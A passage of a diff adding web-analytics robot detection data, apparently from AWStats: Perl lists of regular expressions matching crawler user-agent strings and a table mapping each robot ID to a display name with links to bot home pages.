+'worm', +'woozweb', +'wwwc', +'wz101', +'xget', +# Other robots reported by users +'1\-more_scanner', +'accoona\-ai\-agent', +'activebookmark', +'adamm_bot', +'almaden', +'aipbot', +'aleadsoftbot', +'alpha_search_agent', +'allrati', +'aport', +'archive\.org_bot', +'argus', # Must be before nutch +'arianna\.libero\.it', +'aspseek', +'asterias', +'awbot', +'baiduspider', +'becomebot', +'bender', +'betabot', +'biglotron', +'bittorrent_bot', +'biz360[_+ ]spider', +'blogbridge[_+ ]service', +'bloglines', +'blogpulse', +'blogsearch', +'blogshares', +'blogslive', +'blogssay', +'bncf\.firenze\.sbn\.it\/raccolta\.txt', +'bobby', +'boitho\.com\-dc', +'bookmark\-manager', +'boris', +'bumblebee', +'candlelight[_+ ]favorites[_+ ]inspector', +'cbn00glebot', +'cerberian_drtrs', +'cfnetwork', +'cipinetbot', +'checkweb_link_validator', +'commons\-httpclient', +'computer_and_automation_research_institute_crawler', +'converamultimediacrawler', +'converacrawler', +'cscrawler', +'cse_html_validator_lite_online', +'cuasarbot', +'cursor', +'custo', +'datafountains\/dmoz_downloader', +'daviesbot', +'daypopbot', +'deepindex', +'dipsie\.bot', +'dnsgroup', +'domainchecker', +'domainsdb\.net', +'dulance', +'dumbot', +'dumm\.de\-bot', +'earthcom\.info', +'easydl', +'edgeio\-retriever', +'ets_v', +'exactseek', +'extreme[_+ ]picture[_+ ]finder', +'eventax', +'everbeecrawler', +'everest\-vulcan', +'ezresult', +'enteprise', +'facebook', +'fast_enterprise_crawler.*crawleradmin\.t\-info@telekom\.de', +'fast_enterprise_crawler.*t\-info_bi_cluster_crawleradmin\.t\-info@telekom\.de', +'matrix_s\.p\.a\._\-_fast_enterprise_crawler', # must come before fast enterprise crawler +'fast_enterprise_crawler', +'fast\-search\-engine', +'favicon', +'favorg', +'favorites_sweeper', +'feedburner', +'feedfetcher\-google', +'feedflow', +'feedster', +'feedsky', +'feedvalidator', +'filmkamerabot', +'findlinks', +'findexa_crawler', +'fooky\.com\/ScorpionBot', +'g2crawler', +'gaisbot', +'geniebot', +'gigabot', +'girafabot', +'global_fetch', +'gnodspider', +'goforit\.com', +'goforitbot', +'gonzo', +'grub', +'gpu_p2p_crawler', +'henrythemiragorobot', +'heritrix', +'holmes', +'hoowwwer', +'hpprint', +'htmlparser', +'html[_+ ]link[_+ ]validator', +'httrack', +'hundesuche\.com\-bot', +'ichiro', +'iltrovatore\-setaccio', +'infobot', +'infociousbot', +'infomine', +'insurancobot', +'internet[_+ ]ninja', +'internetarchive', +'internetseer', +'internetsupervision', +'irlbot', +'isearch2006', +'iupui_research_bot', +'jrtwine[_+ ]software[_+ ]check[_+ ]favorites[_+ ]utility', +'justview', +'kalambot', +'kamano\.de_newsfeedverzeichnis', +'kazoombot', +'kevin', +'keyoshid', # Must come before Y!J +'kinjabot', +'kinja\-imagebot', +'knowitall', +'knowledge\.com', +'kouaa_krawler', +'krugle', +'ksibot', +'kurzor', +'lanshanbot', +'letscrawl\.com', +'libcrawl', +'linkbot', +'link_valet_online', +'metager\-linkchecker', # Must be before linkchecker +'linkchecker', +'livejournal\.com', +'lmspider', +'lwp\-request', +'lwp\-trivial', +'magpierss', +'mail\.ru', +'mapoftheinternet\.com', +'mediapartners\-google', +'megite', +'metaspinner', +'microsoft[_+ ]url[_+ ]control', +'mini\-reptile', +'minirank', +'missigua_locator', +'misterbot', +'miva', +'mizzu_labs', +'mj12bot', +'mojeekbot', +'msiecrawler', +'ms_search_4\.0_robot', +'msrabot', +'msrbot', +'mt::telegraph::agent', +'nagios', +'nasa_search', +'mydoyouhike', +'netluchs', +'netsprint', +'newsgatoronline', +'nicebot', +'nimblecrawler', +'noxtrumbot', +'npbot', +'nutchcvs', +'nutchosu\-vlib', +'nutch', # Must come after other nutch versions +'ocelli', +'octora_beta_bot', +'omniexplorer[_+ ]bot', +'onet\.pl[_+ ]sa', +'onfolio', +'opentaggerbot', +'openwebspider', +'oracle_ultra_search', +'orbiter', +'yodaobot', +'qihoobot', +'passwordmaker\.org', +'pear_http_request_class', +'peerbot', +'perman', +'php[_+ ]version[_+ ]tracker', +'pictureofinternet', +'ping\.blo\.gs', +'plinki', +'pluckfeedcrawler', +'pogodak', +'pompos', +'popdexter', +'port_huron_labs', +'postfavorites', +'projectwf\-java\-test\-crawler', +'proodlebot', +'pyquery', +'rambler', +'redalert', +'rojo', +'rssimagesbot', +'ruffle', +'rufusbot', +'sandcrawler', +'sbider', +'schizozilla', +'scumbot', +'searchguild[_+ ]dmoz[_+ ]experiment', +'seekbot', +'sensis_web_crawler', +'seznambot', +'shim\-crawler', +'shoutcast', +'slysearch', +'snap\.com_beta_crawler', +'sohu\-search', +'sohu', # "sohu agent" +'snappy', +'sphere_scout', +'spip', +'sproose_crawler', +'steeler', +'steroid__download', +'suchfin\-bot', +'superbot', +'surveybot', +'susie', +'syndic8', +'syndicapi', +'synoobot', +'tcl_http_client_package', +'technoratibot', +'teragramcrawlersurf', +'test_crawler', +'testbot', +'t\-h\-u\-n\-d\-e\-r\-s\-t\-o\-n\-e', +'topicblogs', +'turnitinbot', +'turtlescanner', # Must be before turtle +'turtle', +'tutorgigbot', +'twiceler', +'ubicrawler', +'ultraseek', +'unchaos_bot_hybrid_web_search_engine', +'unido\-bot', +'updated', +'ustc\-semantic\-group', +'vagabondo\-wap', +'vagabondo', +'vermut', +'versus_crawler_from_eda\.baykan@epfl\.ch', +'vespa_crawler', +'vortex', +'vse\/', +'w3c\-checklink', +'w3c[_+ ]css[_+ ]validator[_+ ]jfouffa', +'w3c_validator', +'watchmouse', +'wavefire', +'webclipping\.com', +'webcompass', +'webcrawl\.net', +'web_downloader', +'webdup', +'webfilter', +'webindexer', +'webminer', +'website[_+ ]monitoring[_+ ]bot', +'webvulncrawl', +'wells_search', +'wonderer', +'wume_crawler', +'wwweasel', +'xenu\'s_link_sleuth', +'xenu_link_sleuth', +'xirq', +'y!j', # Must come after keyoshid Y!J +'yacy', +'yahoo\-blogs', +'yahoo\-verticalcrawler', +'yahoofeedseeker', +'yahooseeker\-testing', +'yahooseeker', +'yahoo\-mmcrawler', +'yahoo!_mindset', +'yandex', +'flexum', +'yanga', +'yooglifetchagent', +'z\-add_link_checker', +'zealbot', +'zhuaxia', +'zspider', +'zeus', +'ng\/1\.', # put at end to avoid false positive +'ng\/2\.', # put at end to avoid false positive +'exabot', # put at end to avoid false positive +# Additional bots found by Sussex. +'^[1-3]$', # Hiding bots. Doesn't appear to be a valid user agent. +'alltop', +'applesyndication', +'asynchttpclient', +'bingbot', +'blogged_crawl', +'bloglovin', +'butterfly', +'buzztracker', +'carpathia', +'catbot', +'chattertrap', +'check_http', #(nagios) a monitoring tool +'coldfusion', +'covario', +'daylifefeedfetcher', +'discobot', +'dlvr\.it', +'dreamwidth', +'drupal', +'ezoom', +'feedmyinbox', +'feedroll\.com', +'feedzira', +'fever\/', +'freenews', +'geohasher', +'hanrss', +'inagist', +'jacobin club', +'jakarta', +'js\-kit', +'largesmall crawler', +'linkedinbot', +'longurl', +'metauri', +'microsoft\-webdav\-miniredir', +'^motorola$', +'movabletype', +# These appear to be bots trying to hide. All of the usual architecture data is missing. +'^mozilla\/3\.0 \(compatible$', +'^mozilla\/4\.0$', +'^mozilla\/4\.0 \(compatible;\)$', +'^mozilla\/5\.0$', +'^mozilla\/5\.0 \(compatible;$', +'^mozilla\/5\.0 \(en\-us\)$', +'^mozilla\/5\.0 firefox\/3\.0\.5$', +'^msie', +# End of hiding bots. +'netnewswire', +' netseer ', +'netvibes', +'newrelicpinger', +'newsfox', +'nextgensearchbot', +'ning', +'pingdom', +'pita', +'postpost', +'postrank', +'printfulbot', +'protopage', +'proximic', +'quipply', +'r6\_', +'ratingburner', +'regator', +'rome client', +'rpt\-httpclient', +'rssgraffiti', +'sage\+\+', +'scoutjet', +'simplepie', +'sitebot', +'summify\.com', +'superfeedr', +'synthesio', +'teoma', +'topblogsinfo', +'topix\.net', +'trapit', +'trileet', +'tweetedtimes', +'twisted pagegetter', +'twitterbot', +'twitterfeed', +'unwindfetchor', +'wazzup', +'windows\-rss\-platform', +'wiumi', +'xydo', +'yahoo! slurp', +'yahoo pipes', +'yahoo\-newscrawler', +'yahoocachesystem', +'yahooexternalcache', +'yahoo! searchmonkey', +'yahooysmcm', +'yammer', +'yandexbot', +'yeti', +'yie8', +'youdao', +'yourls', +'zemanta', +'zend_http_client', +# Other id that are 99% of robots +'wget', +'libwww', +'^java\/[0-9]' # put at end to avoid false positive +); +@RobotsSearchIDOrder_listgen = ( +# Generic robot +'robot', +'checker', +'crawl', +'discovery', +'hunter', +'scanner', +'spider', +'sucker', +'bot[\s_+:,\.\;\/\\\-]', +'[\s_+:,\.\;\/\\\-]bot', +'curl', +'php', +'ruby\/', +'no_user_agent' +); + + + +# RobotsHashIDLib +# List of robots names ('robot id','robot clear text') +#------------------------------------------------------- +%RobotsHashIDLib = ( +# Common robots (In robot file) +'appie','<a href="http://www.walhello.com/" title="Bot home page [new window]" target="_blank">Walhello appie</a>', +'architext','ArchitextSpider', +'bingpreview','Bing Preview bot', +'bjaaland','Bjaaland', +'ferret','Wild Ferret Web Hopper #1, #2, #3', +'contentmatch','<a href="http://p4p.cn.yahoo.com">Yahoo!China ContentMatch Crawler</a>', +'googlebot','<a href="http://www.google.com/bot.html" title="Bot home page [new window]" target="_blank">Googlebot</a>', +'google\-sitemaps', 'Google Sitemaps', +'google[_+ ]web[_+ ]preview', 'Google Web Preview', +'gulliver','Northern Light Gulliver', +'virus[_+ ]detector','<a href="http://www.securecomputing.com/" title="virus_harvester@securecomputing.com; Bot home page [new window]" target="_blank">virus_detector</a>', +'harvest','Harvest', +'htdig','ht://Dig', +'jeeves','<a href="http://sp.ask.com/docs/about/tech_crawling.html" title="Bot home page [new window]" target="_blank">Ask</a>', +'linkwalker','LinkWalker', +'lilina','Lilina', +'lycos[_+ ]','Lycos', +'moget','moget', +'muscatferret','Muscat Ferret', +'myweb','Internet Shinchakubin', +'nomad','Nomad', +'scooter','Scooter', +'slurp','<a href="http://help.yahoo.com/help/us/ysearch/slurp/" title="Bot home page [new window]" target="_blank">Yahoo Slurp</a>', +'^voyager\/','Voyager', +'weblayers','Weblayers', +# Common robots (Not in robot file) +'antibot','Antibot', +'bruinbot','<a href="http://web.archive.org/" title="BruinBot home page [new window]" target="_blank">The web archive</a>', +'digout4u','Digout4u', +'echo!','EchO!', +'fast\-webcrawler','Fast-Webcrawler', +'ia_archiver\-web\.archive\.org','<a href="http://web.archive.org/" title="Bot home page [new window]" target="_blank">The web archive (IA Archiver)</a>', +'ia_archiver','<a href="http://www.alexa.com/" title="Bot home page [new window]" target="_blank">Alexa (IA Archiver)</a>', +'jennybot','JennyBot', +'mercator','Mercator', +'msnbot\-media','<a href="http://search.msn.com/msnbot.htm" title="Bot home page [new window]" target="_blank">MSNBot-media</a>', +'msnbot','<a href="http://search.msn.com/msnbot.htm" title="Bot home page [new window]" target="_blank">MSNBot</a>', +'netcraft','<a href="http://www.netcraft.com/survey/" title="Bot home page [new window]" target="_blank">Netcraft</a>', +'petersnews','Petersnews', +'unlost_web_crawler','Unlost Web Crawler', +'voila','Voila', +'webbase', 'WebBase', +'zyborg','<a href="http://www.WISEnutbot.com/" title="wn-14.zyborg@looksmart.net Bot home page [new window]" target="_blank">ZyBorg</a>', +'wisenutbot','<a href="http://www.WISEnutbot.com/" title="Bot home page [new window]" target="_blank">WISENutbot</a>', +'webcollage','<a href="http://www.jwz.org/webcollage/" title="WebCollage home page [new window]" target="_blank">WebCollage</a>', +'cfetch','<a href="http://www.kosmix.com/crawler.html" title="kosmix home page [new window]" target="_blank">Cfetch</a>', +# Less common robots (In robot file) +'[^a]fish','Fish search', +'abcdatos','ABCdatos BotLink', +'acme\.spider','Acme.Spider', +'ahoythehomepagefinder','Ahoy! The Homepage Finder', +'alkaline','Alkaline', +'anthill','Anthill', +'arachnophilia','Arachnophilia', +'arale','Arale', +'araneo','Araneo', +'aretha','Aretha', +'ariadne','ARIADNE', +'powermarks','<a href="http://www.kaylon.com/power.html" title="Bot home page [new window]" target="_blank">Powermarks</a>', # must come before Arks; seen used by referrer spam +'arks','arks', +'aspider','ASpider (Associative Spider)', +'atn\.txt','ATN Worldwide', +'atomz','Atomz.com Search Robot', +'auresys','AURESYS', +'backrub','BackRub', +'bbot','BBot', +'bigbrother','Big Brother', +'blackwidow','BlackWidow', +'blindekuh','Die Blinde Kuh', +'bloodhound','Bloodhound', +'borg\-bot','Borg-Bot', +'brightnet','bright.net caching robot', +'bspider','BSpider', +'cactvschemistryspider','CACTVS Chemistry Spider', +'calif[^r]','Calif', +'cassandra','Cassandra', +'cgireader','Digimarc Marcspider/CGI', +'checkbot','Checkbot', +'christcrawler','ChristCrawler.com', +'churl','churl', +'cienciaficcion','cIeNcIaFiCcIoN.nEt', +'collective','Collective', +'combine','Combine System', +'conceptbot','Conceptbot', +'coolbot','CoolBot', +'core','Web Core / Roots', +'cosmos','XYLEME Robot', +'cruiser','Internet Cruiser Robot', +'cusco','Cusco', +'cyberspyder','CyberSpyder Link Test', +'desertrealm','Desert Realm Spider', +'deweb','DeWeb(c) Katalog/Index', +'dienstspider','DienstSpider', +'digger','Digger', +'diibot','Digital Integrity Robot', +'direct_hit','Direct Hit Grabber', +'dnabot','DNAbot', +'download_express','DownLoad Express', +'dragonbot','DragonBot', +'dwcp','DWCP (Dridus\' Web Cataloging Project)', +'e\-collector','e-collector', +'ebiness','EbiNess', +'elfinbot','ELFINBOT', +'emacs','Emacs-w3 Search Engine', +'emcspider','ananzi', +'esther','Esther', +'evliyacelebi','Evliya Celebi', +'fastcrawler','FastCrawler', +'feedcrawl','FeedCrawl by feed@aobo.com', +'fdse','Fluid Dynamics Search Engine robot', +'felix','Felix IDE', +'fetchrover','FetchRover', +'fido','fido', +'finnish','H���ki', +'fireball','KIT-Fireball', +'fouineur','Fouineur', +'francoroute','Robot Francoroute', +'freecrawl','Freecrawl', +'funnelweb','FunnelWeb', +'gama','gammaSpider, FocusedCrawler', +'gazz','gazz', +'gcreep','GCreep', +'getbot','GetBot', +'geturl','GetURL', +'golem','Golem', +'gougou','GouGou', +'grapnel','Grapnel/0.01 Experiment', +'griffon','Griffon', +'gromit','Gromit', +'gulperbot','Gulper Bot', +'hambot','HamBot', +'havindex','havIndex', +'hometown','Hometown Spider Pro', +'htmlgobble','HTMLgobble', +'hyperdecontextualizer','Hyper-Decontextualizer', +'iajabot','iajaBot', +'iaskspider','<a href="http://www.iask.com/" target="_blank">Sina Iask Spider</a>', +'hl_ftien_spider','<a href="http://www.hylanda.com/" target="_blank">Hylanda</a>', +'sogou','<a href="http://www.sogou.com/" target="_blank">Sogou Spider</a>', +'iconoclast','Popular Iconoclast', +'ilse','Ingrid', +'imagelock','Imagelock', +'incywincy','IncyWincy', +'informant','Informant', +'infoseek','InfoSeek Robot 1.0', +'infoseeksidewinder','Infoseek Sidewinder', +'infospider','InfoSpiders', +'inspectorwww','Inspector Web', +'intelliagent','IntelliAgent', +'irobot','I, Robot', +'iron33','Iron33', +'israelisearch','Israeli-search', +'javabee','JavaBee', +'jbot','JBot Java Web Robot', +'jcrawler','JCrawler', +'jobo','JoBo Java Web Robot', +'jobot','Jobot', +'joebot','JoeBot', +'jubii','The Jubii Indexing Robot', +'jumpstation','JumpStation', +'kapsi','image.kapsi.net', +'katipo','Katipo', +'kilroy','Kilroy', +'ko[_+ ]yappo[_+ ]robot','KO_Yappo_Robot', +'kummhttp','<a href="http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_g_l_301105_2\b" title="Bot documentation page [new window]" target="_blank">KummHttp</a>', +'labelgrabber\.txt','LabelGrabber', +'larbin','<a href="http://para.inria.fr/~ailleret/larbin/index-eng.html" title="Bot home page [new window]" target="_blank">larbin</a>', +'legs','legs', +'linkidator','Link Validator', +'linkscan','LinkScan', +'lockon','Lockon', +'logo_gif','logo.gif Crawler', +'macworm','Mac WWWWorm', +'lmspider','<a href="http://www.nuance.com/" title="Bot home page lmspider@scansoft.com [new window]" target="_blank">lmspider</a>', +'lwp\-request','<a href="http://search.cpan.org/~gaas/libwww-perl-5.69/bin/lwp-request" title="lwp-request home page [new window]" target="_blank">lwp-request</a>', +'lwp\-trivial','<a href="http://search.cpan.org/src/GAAS/libwww-perl-5.805/lib/LWP/Simple.pm" title="lwp-trivial home page [new window]" target="_blank">lwp-trivial</a>', +'magpie','<a href="http://magpierss.sf.net/" title="Bot home page [new window]" target="_blank">MagpieRSS</a>', +'marvin','marvin/infoseek', +'mattie','Mattie', +'mediafox','MediaFox', +'merzscope','MerzScope', +'meshexplorer','NEC-MeshExplorer', +'mindcrawler','MindCrawler', +'mnogosearch','mnoGoSearch search engine software', +'momspider','MOMspider', +'monster','Monster', +'motor','Motor', +'muncher','Muncher', +'mwdsearch','Mwd.Search', +'ndspider','NDSpider', +'nederland\.zoek','Nederland.zoek', +'netcarta','NetCarta WebMap Engine', +'netmechanic','<a href="http://www.netmechanic.com/" title="Bot home page [new window]" target="_blank">NetMechanic</a>', +'netscoop','NetScoop', +'newscan\-online','newscan-online', +'nhse','NHSE Web Forager', +'northstar','The NorthStar Robot', +'nzexplorer','nzexplorer', +'objectssearch','ObjectsSearch', +'occam','Occam', +'octopus','HKU WWW Octopus', +'openfind','Openfind data gatherer', +'orb_search','Orb Search', +'packrat','Pack Rat', +'pageboy','PageBoy', +'parasite','ParaSite', +'patric','Patric', +'pegasus','pegasus', +'perignator','The Peregrinator', +'perlcrawler','PerlCrawler 1.0', +'phantom','Phantom', +'phpdig','PhpDig', +'piltdownman','PiltdownMan', +'pimptrain','Pimptrain.com\'s robot', +'pioneer','Pioneer', +'pitkow','html_analyzer', +'pjspider','Portal Juice Spider', +'plumtreewebaccessor','PlumtreeWebAccessor', +'poppi','Poppi', +'portalb','PortalB Spider', +'psbot','<a href="http://www.picsearch.com/bot.html" title="Bot home page" target="_blank">psbot</a>', +'python','<a href="http://docs.python.org/library/urllib.html" title="Tools developed using a Python library" target="_blank">Python-urllib</a>', +'raven','Raven Search', +'rbse','RBSE Spider', +'resumerobot','Resume Robot', +'rhcs','RoadHouse Crawling System', +'road_runner','Road Runner: The ImageScape Robot', +'robbie','Robbie the Robot', +'robi','ComputingSite Robi/1.0', +'robocrawl','RoboCrawl Spider', +'robofox','RoboFox', +'robozilla','Robozilla', +'roverbot','Roverbot', +'rules','RuLeS', +'safetynetrobot','SafetyNet Robot', +'search\-info','Sleek', +'search_au','Search.Aus-AU.COM', +'searchprocess','SearchProcess', +'senrigan','Senrigan', +'sgscout','SG-Scout', +'shaggy','ShagSeeker', +'shaihulud','Shai\'Hulud', +'sift','Sift', +'simbot','Simmany Robot Ver1.0', +'site\-valet','Site Valet', +'sitetech','SiteTech-Rover', +'skymob','Skymob.com', +'slcrawler','SLCrawler', +'smartspider','Smart Spider', +'snooper','Snooper', +'solbot','Solbot', +'speedy','<a href="http://www.entireweb.com/about/search_tech/speedyspider/" title="Speedy Spider home page [new window]" target="_blank">Speedy Spider</a>', +'spider[_+ ]monkey','Spider monkey', +'spiderbot','SpiderBot', +'spiderline','Spiderline Crawler', +'spiderman','<a href="http://www.iscrawling.com" title="Spiderman home page [new window]" target="_blank">Spiderman</a>', +'spiderview','SpiderView(tm)', +'spry','Spry Wizard Robot', +'ssearcher','Site Searcher', +'sqworm','<a href="http://www.websense.com/" title="Bot home page (source: http://www.pgts.com.au/) [new window]" target="_blank">Sqworm</a>', +'suke','Suke', +'sunrise','<a href="http://www.sunrisexp.com/" title="Sunrise home page [new window]" target="_blank">Sunrise</a>', +'suntek','suntek search engine', +'sven','Sven', +'tach_bw','TACH Black Widow', +'tagyu_agent','<a href="http://www.tagyu.com/" title="Bot home page [new window]" target="_blank">Tagyu Agent</a>', +'tarantula','Tarantula', +'tarspider','tarspider', +'tailrank','<a href="http://tailrank.com/robot">TailRank</a>', +'techbot','TechBOT', +'templeton','Templeton', +'titan','TITAN', +'titin','TitIn', +'tkwww','The TkWWW Robot', +'tlspider','TLSpider', +'ucsd','UCSD Crawl', +'udmsearch','UdmSearch', +'universalfeedparser','<a href="http://feedparser.org/" title="Bot home page [new window]" target="_blank">UniversalFeedParser</a>', +'urlck','URL Check', +'valkyrie','Valkyrie', +'verticrawl','Verticrawl', +'victoria','Victoria', +'visionsearch','vision-search', +'voidbot','void-bot', +'vwbot','VWbot', +'w3index','The NWI Robot', +'w3m2','W3M2', +'wallpaper','WallPaper (alias crawlpaper)', +'wanderer','the World Wide Web Wanderer', +'wapspider','w@pSpider by wap4.com', +'webbandit','WebBandit Web Spider', +'webcatcher','WebCatcher', +'webcopy','WebCopy', +'webfetcher','webfetcher', +'webfoot','The Webfoot Robot', +'webinator','Webinator', +'weblinker','WebLinker', +'webmirror','WebMirror', +'webmoose','The Web Moose', +'webquest','WebQuest', +'webreader','Digimarc MarcSpider', +'webreaper','WebReaper', +'websnarf','Websnarf', +'webspider','WebSpider', +'webvac','WebVac', +'webwalk','webwalk', +'webwalker','WebWalker', +'webwatch','WebWatch', +'whatuseek','whatUseek Winona', +'whowhere','WhoWhere Robot', +'wired\-digital','Wired Digital', +'wmir','w3mir', +'wolp','WebStolperer', +'wombat','The Web Wombat', +'wordpress','<a href="http://wordpress.org/" title="WordPress home page [new window]" target="_blank">WordPress</a>', +'worm','The World Wide Web Worm', +'woozweb','Woozweb Monitoring', +'wwwc','WWWC Ver 0.2.5', +'wz101','WebZinger', +'xget','XGET', +# Other robots reported by users +'1\-more_scanner','<a href="http://www.myzips.com/software/1-More-Scanner.phtml" title="1-More Scanner home page [new window]" target="_blank">1-More Scanner</a>', +'accoona\-ai\-agent','<a href="http://www.accoona.com/" title="Accoona-AI-Agent home page [new window]" target="_blank">Accoona-AI-Agent</a>', +'activebookmark','<a href="http://www.libmaster.com/active_bookmark.php" title="ActiveBookmark home page [new window]" target="_blank">ActiveBookmark</a>', +'adamm_bot','<a href="http://home.blic.net/adamm/" title="Bot home page [new window]" target="_blank">AdamM Bot</a>', +'almaden','<a href="http://www.almaden.ibm.com/cs/crawler" title="IBM Almaden Research Center WebFountain™ Bot home page [new window]" target="_blank">IBM Almaden</a> Research Center WebFountain™', +'aipbot','<a href="http://www.aipbot.com/" title="aipbot@aipbot.com Bot home page [new window]" target="_blank">aipbot</a>', +'aleadsoftbot','<a href="http://www.aleadsoft.com/bot.htm" title="ALeadSoftbot home page [new window]" target="_blank">ALeadSoftbot</a>', +'alpha_search_agent','Alpha Search Agent', +'allrati','Allrati', +'aport', 'Aport', +'archive\.org_bot','<a href="http://crawls.archive.org/collections/bncf/crawl.html" title="Bot home page [new window]" target="_blank">archive.org bot</a>', +'argus','<a href="http://www.simpy.com/bot.html" title="feedback@simpy.com Bot home page [new window]" target="_blank">Argus</a>', +'arianna\.libero\.it','<a href="http://arianna.libero.it/" title="Bot home page [new window]" target="_blank">arianna.libero.it</a>', +'aspseek','<a href="http://www.aspseek.org/" title="Bot home page [new window]" target="_blank">ASPseek</a>', +'asterias', 'Asterias', +'awbot', 'AWBot', +'baiduspider','<a href="http://www.baidu.com/search/spider.html" title="Bot home page [new window]" target="_blank">BaiDuSpider</a>', +'becomebot', '<a href="http://www.become.com/site_owners.html" title="Bot home page [new window]" target="_blank">BecomeBot</a>', +'bender','<a href="http://bender.ucr.edu/" title="Bot home page [new window]" target="_blank">bender</a> <a href="http://ivia.ucr.edu/manuals/NiFC/current/index.shtml" title="Bot home page [new window]" target="_blank">focused_crawler</a>', +'betabot','BetaBot', +'biglotron','<a href="http://www.biglotron.com/robot.html" title="Bot home page [new window]" target="_blank">Biglotron</a>', +'bittorrent_bot','<a href="http://www.bittorrent.com/" title="Bot home page [new window]" target="_blank">BitTorrent Bot</a>', +'biz360[_+ ]spider','<a href="http://www.biz360.com/" title="blogsmanager@biz360.com Bot home page [new window]" target="_blank">Biz360 spider</a>', +'blogbridge[_+ ]service','<a href="http://www.blogbridge.com/" title="Bot home page [new window]" target="_blank">BlogBridge Service</a>', +'bloglines','<a href="http://www.bloglines.com/" title="Bot home page [new window]" target="_blank">Bloglines</a>', +'blogpulse','<a href="http://www.intelliseek.com/" title="Bot home page [new window]" target="_blank">BlogPulse ISSpider intelliseek.com</a>', +'blogsearch','<a href="http://www.icerocket.com/" title="Bot home page [new window]" target="_blank">BlogSearch</a>', +'blogshares','<a href="http://blogshares.com/help.php?node=7" title="Bot home page [new window]" target="_blank">Blogshares Spiders</a>', +'blogslive','<a href="http://www.blogslive.com/" title="info@blogslive.com Bot home page [new window]" target="_blank">Blogslive</a>', +'blogssay','<a href="http://www.blogssay.com/" title="Bot home page [new window]" target="_blank">BlogsSay :: RSS Search Crawler</a>', +'bncf\.firenze\.sbn\.it\/raccolta\.txt','<a href="http://www.bncf.firenze.sbn.it/raccolta.txt" title="Bot home page [new window]" target="_blank">Biblioteca Nazionale Centrale di Firenze</a>', +'bobby', 'Bobby', +'boitho\.com\-dc','<a href="http://www.boitho.com/dcbot.html" title="Bot home page [new window]" target="_blank">boitho.com-dc</a>', +'bookmark\-manager','<a href="http://bkm.sourceforge.net/" title="Bookmark-Manager home page [new window]" target="_blank">Bookmark-Manager</a>', +'boris', 'Boris', +'bumblebee', 'Bumblebee (relevare.com)', +'candlelight[_+ ]favorites[_+ ]inspector','<a href="http://www.candlelight.com/home.html" title="Candlelight_Favorites_Inspector home page [new window]" target="_blank">Candlelight_Favorites_Inspector</a>', +'cbn00glebot','cbn00glebot', +'cerberian_drtrs','<a href="http://www.pgts.com.au/cgi-bin/psql?robot_info=25240" title="Bot home page [new window]" target="_blank">Cerberian Drtrs</a>', +'cfnetwork','<a href="http://www.cocoadev.com/index.pl?CFNetwork" title="CFNetwork home page [new window]" target="_blank">CFNetwork</a>', +'cipinetbot','<a href="http://www.cipinet.com/bot.html" title="CipinetBot home page [new window]" target="_blank">CipinetBot</a>', +'checkweb_link_validator','<a href="http://p.duby.free.fr/chkweb.htm" title="CheckWeb link validator home page [new window]" target="_blank">CheckWeb link validator</a>', +'commons\-httpclient','<a href="http://jakarta.apache.org/commons/httpclient/" title="Bot home page [new window]" target="_blank">Jakarta commons-httpclient</a>', +'computer_and_automation_research_institute_crawler','<a href="http://www.ilab.sztaki.hu/~stamas/publications/p184-benczur.html" title="Computer and Automation Research Institute Crawler home page [new window]" target="_blank">Computer and Automation Research Institute Crawler</a>', +'converamultimediacrawler','<a href="http://www.authoritativeweb.com/crawl/" title="ConveraMultiMediaCrawler home page [new window]" target="_blank">ConveraMultiMediaCrawler</a>', +'converacrawler','<a href="http://www.authoritativeweb.com/crawl/" title="ConveraCrawler home page [new window]" target="_blank">ConveraCrawler</a>', +'cscrawler','CsCrawler', +'cse_html_validator_lite_online','<a href="http://online.htmlvalidator.com/php/onlinevallite.php" title="CSE HTML Validator Lite Online home page [new window]" target="_blank">CSE HTML Validator Lite Online</a>','cuasarbot','<a href="http://www.cuasar.com/" title="Cuasarbot home page [new window]" target="_blank">Cuasarbot</a>', +'cursor','<a href="http://adcenter.hu/docs/en/bot.html " title="Cursor home page [new window]" target="_blank">Cursor</a>', +'custo','<a href="http://www.netwu.com/custo/" title="Custo home page [new window]" target="_blank">Custo</a>', +'datafountains\/dmoz_downloader','<a href="http://infomine.ucr.edu/ " title="DataFountains/DMOZ Downloader home page [new window]" target="_blank">DataFountains/DMOZ Downloader</a>', +'daviesbot', 'DaviesBot', +'daypopbot', 'DayPop', +'deepindex','<a href="http://www.deepindex.net/faq.php" title="Deepindex home page [new window]" target="_blank">Deepindex</a>', +'dipsie\.bot','<a href="http://www.dipsie.com/bot/" title="Bot home page [new window]" target="_blank">Dipsie</a>', +'dnsgroup','<a href="http://www.dnsgroup.com/" title="DNSGroup home page [new window]" target="_blank">DNSGroup</a>', +'domainchecker','<a href="http://net-promoter.com/" title="DomainChecker home page (not confirmed) [new window]" target="_blank">DomainChecker</a>', +'domainsdb\.net','<a href="http://domainsdb.net/" title="Bot home page [new window]" target="_blank">DomainsDB.net</a>', +'dulance','<a href="http://www.dulance.com/bot.jsp" title="Bot home page [new window]" target="_blank">Dulance</a>', +'dumbot','<a href="http://www.dumbfind.com/" title="Dumbot home page [new window]" target="_blank">Dumbot</a>', +'dumm\.de\-bot','<a href="http://www.dumm.de/" title="dumm.de-Bot home page [new window]" target="_blank">dumm.de-Bot</a>', +'earthcom\.info','<a href="http://www.earthcom.info/" title="Bot home page [new window]" target="_blank">EARTHCOM.info</a>', +'easydl','<a href="http://keywen.com/Encyclopedia/Bot/" title="EasyDL home page [new window]" target="_blank">EasyDL</a>', +'edgeio\-retriever','<a href="http://www.edgeio.com/" title="Bot home page [new window]" target="_blank">edgeio-retriever</a>', +'ets_v','<a href="http://www.freetranslation.com/help/" title="ETS home page [new window]" target="_blank">ETS</a> Enterprise Translation Server', +'exactseek','ExactSeek Crawler', +'extreme[_+ ]picture[_+ ]finder','<a href="http://www.exisoftware.com/" title="Extreme_Picture_Finder home page [new window]" target="_blank">Extreme_Picture_Finder</a>', +'eventax','<a href="http://www.eventax.de/" title="eventax home page [new window]" target="_blank">eventax</a>', +'everbeecrawler','EverbeeCrawler', +'everest\-vulcan','<a href="http://everest.vulcan.com/crawlerhelp" title="Bot home page [new window]" target="_blank">Everest-Vulcan</a>', +'ezresult', 'Ezresult', +'enteprise','<a href="http://www.fastsearch.com/" title="Bot home page [new window]" target="_blank">Fast Enteprise Crawler</a>', +'facebook','FaceBook bot', +'fast\-search\-engine','<a href="http://www.fast-search-engine.com/" title="Bot home page [new window]" target="_blank">Fast-Search-Engine</a> (not fastsearch.com)', +'fast_enterprise_crawler','<a href="http://www.fast.no/" title="FAST Enterprise Crawler 